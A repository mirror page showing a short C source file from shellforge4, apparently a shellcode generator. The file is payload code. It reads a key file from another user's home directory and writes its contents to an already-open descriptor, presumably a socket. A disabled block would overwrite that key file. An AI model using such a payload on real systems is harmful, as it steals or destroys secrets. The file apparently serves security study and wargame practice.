mirror of
https://github.com/rizinorg/shellforge4.git
synced 2026-11-08 07:58:45 -10:00
17 lines
322 B
C
Executable File
17 lines
322 B
C
Executable File
#define FILE "/home/delta/key"
|
|
#define FD 4
|
|
|
|
int main(void)
|
|
{
|
|
char buff[62];
|
|
int bytes;
|
|
int fd = open(FILE, O_RDONLY, 0);
|
|
if ((bytes = read(fd, buff, sizeof(buff))) > 0) {
|
|
write(FD, buff, bytes);
|
|
#if 0
|
|
fd = open(FILE, O_RDWR|O_TRUNC, 0);
|
|
write(fd, key, sizeof(key));
|
|
#endif
|
|
}
|
|
}
|